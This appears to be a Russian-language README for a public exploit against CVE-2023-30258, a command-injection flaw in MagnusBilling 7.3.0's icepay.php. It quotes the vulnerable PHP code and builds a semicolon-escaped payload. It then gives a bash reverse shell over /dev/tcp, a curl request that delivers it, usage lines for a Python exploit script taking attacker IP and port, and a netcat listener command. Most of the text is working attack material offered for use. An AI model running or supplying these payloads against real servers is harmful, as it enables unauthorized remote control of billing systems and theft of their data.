
Эксплойт для CVE-2023-30258: удалённое выполнение кода в MagnusBilling 7.3.0 через несанитизированный параметр 'democ' в icepay.php, позволяющий внедрение команд и обратную оболочку.
В Magnus Billing 7.3.0 обнаружена уязвимость удаленного выполнения кода в параметре "democ" ресурса "icepay.php", который позволяет экранировать запрос и выполнить нужную команду.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
Параметр "democ" передается в exec() для создания нового файла, но, как видно, отсутствует санитизация строки, и злоумышленник может легко экранировать команду touch и выполнить команду или даже получить обратную оболочку. Чтобы обойти расширение .txt, можно просто добавить еще одну ";" в конце строки. Итоговый пейлоуд будет выглядеть так:
testfile;<command>;testfile
а так он будет выглядеть при передаче в функцию exec():
exec('touch testfile;<command>;testfile.txt');
например, обратная оболочка:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
можно использовать curl, чтобы получить обратную оболочку, например:
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
или, если предпочитаете, можно воспользоваться скриптом на Python из этого репозитория. Установка:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # получить репозиторий
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # перейти в директорию
chmod +x ./magnusbilling_rce.py # добавить права на выполнение скрипта
использование:
./magnusbilling_rce.py -h # показать справку
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
и, наконец, не забудьте запустить слушатель с помощью netcat:
nc -nlvvp <local_port>